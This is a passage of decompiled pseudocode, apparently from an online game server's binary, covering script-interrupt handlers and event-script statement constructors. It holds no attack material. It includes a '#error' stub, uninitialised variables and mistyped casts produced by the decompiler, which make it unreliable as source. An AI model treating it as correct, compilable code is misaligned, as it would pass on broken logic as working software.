BTree::operator__(&v3->psmr_btree, v4); if ( v5 == -1 || v5 >= v3->psmr_curbuffer ) PineScriptMobRegenerator::psmr_Load(v3, map); v6 = PineScriptMobRegenerator::psmr_makeindex(v3, buffer, map, index); v7 = BTree::operator__(&v3->psmr_btree, v6); if ( v7 == -1 || v7 >= v3->psmr_curbuffer ) { v11 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); } else { v11 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineScriptMobRegenerator::psmr_find"); } __security_check_cookie(v10); return result; } //----- (004AD5A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, int interval, PineScriptToken *eventblock, int num, char flag) { ScriptInterrupt::ScriptInterruptArgument *v6; // esi@1 int v7; // eax@3 v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(this, intindex, &si_Interval, eventblock, num); if ( v6 ) { switch ( flag ) { case 109: v7 = 10 * interval / 1000; goto LABEL_7; case 83: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = 10 * interval; break; case 77: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = 600 * interval; break; case 72: v7 = 36000 * interval; LABEL_7: *(_DWORD *)&v6->sib_Argument.area.areaname[0] = v7; break; default: break; } *(_DWORD *)&v6->sib_Argument.area.areaname[4] = clockwatch.cw_CurrTick + *(_DWORD *)&v6->sib_Argument.area.areaname[0]; } } //----- (004AD680) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex, char *mobindex, PineScriptToken *eventblock, int num) { ScriptInterrupt::ScriptInterruptArgument *v5; // edi@1 char nm[4]; // [sp+8h] [bp-40h]@2 int v7; // [sp+Ch] [bp-3Ch]@2 int v8; // [sp+10h] [bp-38h]@2 int v9; // [sp+14h] [bp-34h]@2 int v10; // [sp+18h] [bp-30h]@2 int v11; // [sp+1Ch] [bp-2Ch]@2 int v12; // [sp+20h] [bp-28h]@2 int v13; // [sp+24h] [bp-24h]@2 Name8 thisa; // [sp+28h] [bp-20h]@2 v5 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(this, intindex, &si_ObjectDeadIndex, eventblock, num); if ( v5 ) { v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; v7 = 0; *(_DWORD *)nm = 0; strncpy(nm, mobindex, 0x20u); *(_QWORD *)&thisa.n8_name[24] = 0i64; *(_QWORD *)&thisa.n8_name[16] = 0i64; *(_QWORD *)&thisa.n8_name[8] = 0i64; *(_QWORD *)&thisa.n8_name[0] = 0i64; strncpy(thisa.n8_name, "_NONE_", 0x20u); if ( Name8::operator__(&thisa, (Name8 *)nm) ) { *(_DWORD *)&v5->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v5->sib_Argument.area.areaname[0] = 0; strncpy(v5->sib_Argument.area.areaname, mobindex, 0x20u); v5->sib_Argument.area.player = 0; } else { v5->sib_Argument.area.player = -1; } } } //----- (004AD770) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_Admin(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex) { ScriptInterrupt::ScriptInterruptManager *v2; // esi@1 PineScriptToken eventblock; // [sp+0h] [bp-110h]@1 unsigned int v4; // [sp+100h] [bp-10h]@1 int v5; // [sp+10Ch] [bp-4h]@1 v2 = this; PineScriptToken::pst_Clear(&eventblock); v5 = 0; ScriptInterrupt::ScriptInterruptManager::sim_Alloc( v2, intindex, &si_Admin, &eventblock, (int)&wholesaver.ws_savestore[18].esc_skill.buffer[28995]); v5 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&eventblock); __security_check_cookie(v4); } //----- (004AD810) -------------------------------------------------------- #error "4AD810: undefined or illegal type '#325' (funcsize=13)" //----- (004AD840) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptAreaEntry(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_AreaEntry, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004AD8B0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptAreaLeave(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_AreaLeave, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004AD920) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_NPCClickHandle, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004AD970) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 const char *v6; // ebx@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = v5; v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_NPCClickIndex, exp + 1, num); if ( v7 ) { *(_DWORD *)&v7->sib_Argument.area.areaname[28] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[24] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[20] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[16] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[12] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = 0; *(_DWORD *)&v7->sib_Argument.area.areaname[0] = 0; strncpy(v7->sib_Argument.area.areaname, v6, 0x20u); } } //----- (004AD9E0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptNPCClickAny(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_NPCClickAny, exp, num); } //----- (004ADA10) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTimeInterval(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num, char flag) { Movie::Theater *v5; // esi@1 int v6; // eax@1 v5 = this; v6 = PineScriptToken::pst_GetNumber(exp, 0); ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_SecondInterval( &v5->t_InterruptManager, index, v6, exp + 1, num, flag); } //----- (004ADA50) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPLow(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // edi@1 int v5; // ebx@1 __int16 v6; // bp@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp + 1, 0); v6 = PineScriptToken::pst_GetNumber(exp, 0); v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPLow, exp + 2, num); if ( v7 ) { *(_WORD *)&v7->sib_Argument.area.areaname[0] = v6; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = v5; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; } } //----- (004ADAC0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptMobEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_MobEliminate, exp, num); } //----- (004ADAF0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPlayerEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_PlayerEliminate, exp, num); } //----- (004ADB20) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptGuildEliminate(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptArgument *v4; // esi@1 v4 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &this->t_InterruptManager, index, &si_GuildEliminate, exp + 1, num); if ( v4 ) { *(_DWORD *)&v4->sib_Argument.area.areaname[0] = PineScriptToken::pst_GetNumber(exp, 0); *(_DWORD *)&v4->sib_Argument.area.areaname[4] = PineScriptToken::pst_GetNumber(exp + 2, 0); *(_DWORD *)&v4->sib_Argument.area.areaname[8] = 0; } } //----- (004ADB80) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTimeOut(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_TimeOut, exp, num); } //----- (004ADBB0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptDeadHandle(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_ObjectDeadHandle, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004ADC00) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptDeadIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 char *v5; // eax@1 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); ScriptInterrupt::ScriptInterruptManager::sim_InterruptSet_ObjectDeadIndex( &v4->t_InterruptManager, index, v5, exp + 1, num); } //----- (004ADC30) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptKillEnemy(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_KillEnemy, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004ADC80) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptTargetChange(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_TargetChange, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004ADCD0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPlayerDead(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&this->t_InterruptManager, index, &si_PlayerDead, exp, num); } //----- (004ADD00) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPFull(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 __int16 v5; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v6; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp, 0); v6 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPFull, exp + 1, num); if ( v6 ) *(_WORD *)&v6->sib_Argument.area.areaname[0] = v5; } //----- (004ADD50) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptPickUpItemIndex(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // esi@1 const char *v5; // eax@1 unsigned int v6; // eax@1 signed __int16 v7; // bx@1 ScriptInterrupt::ScriptInterruptArgument *v8; // eax@3 v4 = this; MoveManager::MoveManager((DiceTaiSai *)exp); v6 = BTree::operator__(&stru_125739F0, v5); v7 = -1; if ( v6 != -1 ) v7 = v6; v8 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc( &v4->t_InterruptManager, index, &si_PickUpItemIndex, exp + 1, num); if ( v8 ) *(_WORD *)&v8->sib_Argument.area.areaname[0] = v7; } //----- (004ADDB0) -------------------------------------------------------- void __thiscall Movie::Theater::t_SetInterruptHPUpper(Movie::Theater *this, Name4 *index, PineScriptToken *exp, int num) { Movie::Theater *v4; // edi@1 int v5; // ebx@1 __int16 v6; // bp@1 ScriptInterrupt::ScriptInterruptArgument *v7; // eax@1 v4 = this; v5 = PineScriptToken::pst_GetNumber(exp + 1, 0); v6 = PineScriptToken::pst_GetNumber(exp, 0); v7 = ScriptInterrupt::ScriptInterruptManager::sim_Alloc(&v4->t_InterruptManager, index, &si_HPUpper, exp + 2, num); if ( v7 ) { *(_WORD *)&v7->sib_Argument.area.areaname[0] = v6; *(_DWORD *)&v7->sib_Argument.area.areaname[4] = v5; *(_DWORD *)&v7->sib_Argument.area.areaname[8] = 0; } } //----- (004ADE20) -------------------------------------------------------- char __thiscall FieldMap::fm_AreaEntry(int this, Name8 *areaindex, unsigned int x, unsigned int y) { AreaInfoData::IAreaData *v4; // eax@1 char result; // al@2 float v6; // ST04_4@3 float v7; // ST00_4@3 v4 = AreaInfoData::GetData((AreaInfoData *)(*(_DWORD *)(this + 20) + 36), areaindex); if ( v4 ) { v6 = (double)y; v7 = (double)x; result = ((int (__thiscall *)(AreaInfoData::IAreaData *, _DWORD, _DWORD))v4->vfptr->IntersectTest)( v4, LODWORD(v7), LODWORD(v6)); } else { result = 0; } return result; } //----- (004ADE70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayerShift(int this, char sublayer, char logout) { int v3; // esi@1 int v4; // eax@2 v3 = this; if ( logout ) { ShineObjectClass::ShineObject::so_Logout((void *)this); v4 = *(_DWORD *)(v3 + 94); *(_BYTE *)(v4 + 4) = sublayer; } else { LOBYTE(v4) = sublayer; *(_BYTE *)(*(_DWORD *)(this + 94) + 4) = sublayer; } return v4; } //----- (004ADEA0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePrintf::ShinePrintf(PineEventScriptNode::ShinePrintf *this) { PineEventScriptNode::ShinePrintf *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "printf", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePrintf::_vftable_; } // 5BED5C: using guessed type int (__stdcall *PineEventScriptNode__ShinePrintf___vftable_)(int tr); //----- (004ADEC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineScriptFile::ShineScriptFile(PineEventScriptNode::ShineScriptFile *this) { PineEventScriptNode::ShineScriptFile *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "scriptfile", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineScriptFile::_vftable_; } // 5BED78: using guessed type int (__stdcall *PineEventScriptNode__ShineScriptFile___vftable_)(int tr); //----- (004ADEE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineTimeLimit::ShineTimeLimit(PineEventScriptNode::ShineTimeLimit *this) { PineEventScriptNode::ShineTimeLimit *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "timelimit", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineTimeLimit::_vftable_; } // 5BED98: using guessed type int (__stdcall *PineEventScriptNode__ShineTimeLimit___vftable_)(int tr); //----- (004ADF00) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptClear::ShineInterruptClear(PineEventScriptNode::ShineInterruptClear *this) { PineEventScriptNode::ShineInterruptClear *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interruptclear", 0, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptClear::_vftable_; } // 5BEDB8: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptClear___vftable_)(int tr); //----- (004ADF20) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptSet::ShineInterruptSet(PineEventScriptNode::ShineInterruptSet *this) { PineEventScriptNode::ShineInterruptSet *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interruptset", 1u, 3, 5); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptSet::_vftable_; } // 5BEDDC: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptSet___vftable_)(int tr); //----- (004ADF40) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineInterruptErase::ShineInterruptErase(PineEventScriptNode::ShineInterruptErase *this) { PineEventScriptNode::ShineInterruptErase *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "interrupterase", 0, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineInterruptErase::_vftable_; } // 5BEE00: using guessed type int (__stdcall *PineEventScriptNode__ShineInterruptErase___vftable_)(int tr); //----- (004ADF60) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitInterrupt::ShineWaitInterrupt(PineEventScriptNode::ShineWaitInterrupt *this) { PineEventScriptNode::ShineWaitInterrupt *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitinterrupt", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitInterrupt::_vftable_; } // 5BEE24: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitInterrupt___vftable_)(int tr); //----- (004ADF80) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineMobRegen::ShineMobRegen(PineEventScriptNode::ShineMobRegen *this) { PineEventScriptNode::ShineMobRegen *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "mobregen", 1u, 6, 7); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineMobRegen::_vftable_; } // 5BEE48: using guessed type int (__stdcall *PineEventScriptNode__ShineMobRegen___vftable_)(int tr); //----- (004ADFA0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorBuild::ShineDoorBuild(PineEventScriptNode::ShineDoorBuild *this) { PineEventScriptNode::ShineDoorBuild *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "doorbuild", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorBuild::_vftable_; } // 5BEE5C: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorBuild___vftable_)(int tr); //----- (004ADFC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCStand::ShineNPCStand(PineEventScriptNode::ShineNPCStand *this) { PineEventScriptNode::ShineNPCStand *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcstand", 1u, 6, 6); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCStand::_vftable_; } // 5BEE70: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCStand___vftable_)(int tr); //----- (004ADFE0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2Mob::ShineChange2Mob(PineEventScriptNode::ShineChange2Mob *this) { PineEventScriptNode::ShineChange2Mob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2mob", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Mob::_vftable_; } // 5BEE84: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Mob___vftable_)(int tr); //----- (004AE000) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2Door::ShineChange2Door(PineEventScriptNode::ShineChange2Door *this) { PineEventScriptNode::ShineChange2Door *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2door", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2Door::_vftable_; } // 5BEE98: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2Door___vftable_)(int tr); //----- (004AE020) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineChange2NPC::ShineChange2NPC(PineEventScriptNode::ShineChange2NPC *this) { PineEventScriptNode::ShineChange2NPC *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "change2npc", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineChange2NPC::_vftable_; } // 5BEEAC: using guessed type int (__stdcall *PineEventScriptNode__ShineChange2NPC___vftable_)(int tr); //----- (004AE040) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineExchange2Mob::ShineExchange2Mob(PineEventScriptNode::ShineExchange2Mob *this) { PineEventScriptNode::ShineExchange2Mob *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "exchange2mob", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineExchange2Mob::_vftable_; } // 5BEEC0: using guessed type int (__stdcall *PineEventScriptNode__ShineExchange2Mob___vftable_)(int tr); //----- (004AE060) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorOpen::ShineDoorOpen(PineEventScriptNode::ShineDoorOpen *this) { PineEventScriptNode::ShineDoorOpen *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "dooropen", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorOpen::_vftable_; } // 5BEEE4: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorOpen___vftable_)(int tr); //----- (004AE080) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineDoorClose::ShineDoorClose(PineEventScriptNode::ShineDoorClose *this) { PineEventScriptNode::ShineDoorClose *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "doorclose", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineDoorClose::_vftable_; } // 5BEF04: using guessed type int (__stdcall *PineEventScriptNode__ShineDoorClose___vftable_)(int tr); //----- (004AE0A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineObjectVanish::ShineObjectVanish(PineEventScriptNode::ShineObjectVanish *this) { PineEventScriptNode::ShineObjectVanish *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "vanish", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineObjectVanish::_vftable_; } // 5BEF24: using guessed type int (__stdcall *PineEventScriptNode__ShineObjectVanish___vftable_)(int tr); //----- (004AE0C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineRegenGroup::ShineRegenGroup(PineEventScriptNode::ShineRegenGroup *this) { PineEventScriptNode::ShineRegenGroup *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "regengroup", 0, 2, 4); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineRegenGroup::_vftable_; } // 5BEF40: using guessed type int (__stdcall *PineEventScriptNode__ShineRegenGroup___vftable_)(int tr); //----- (004AE0E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineWaitUserLogin::ShineWaitUserLogin(PineEventScriptNode::ShineWaitUserLogin *this) { PineEventScriptNode::ShineWaitUserLogin *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "waitlogin", 1u, 0, 0); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineWaitUserLogin::_vftable_; } // 5BEF60: using guessed type int (__stdcall *PineEventScriptNode__ShineWaitUserLogin___vftable_)(int tr); //----- (004AE100) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShinePause::ShinePause(PineEventScriptNode::ShinePause *this) { PineEventScriptNode::ShinePause *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "pause", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShinePause::_vftable_; } // 5BEF80: using guessed type int (__stdcall *PineEventScriptNode__ShinePause___vftable_)(int tr); //----- (004AE120) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCChat::ShineNPCChat(PineEventScriptNode::ShineNPCChat *this) { PineEventScriptNode::ShineNPCChat *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcchat", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCChat::_vftable_; } // 5BEF9C: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCChat___vftable_)(int tr); //----- (004AE140) -------------------------------------------------------- void __thiscall PineEventScriptNode::ShineNPCShout::ShineNPCShout(PineEventScriptNode::ShineNPCShout *this) { PineEventScriptNode::ShineNPCShout *v1; // esi@1 v1 = this; PineEventScriptNode::OtherStatement::OtherStatement(&this->baseclass_0, "npcshout", 1u, 1, 1); v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ShineNPCShout::_vftable_; } // 5BEFB8: using guessed type int (__stdcall *PineEventScriptNode__ShineNPCShout___vftable_)(int tr); 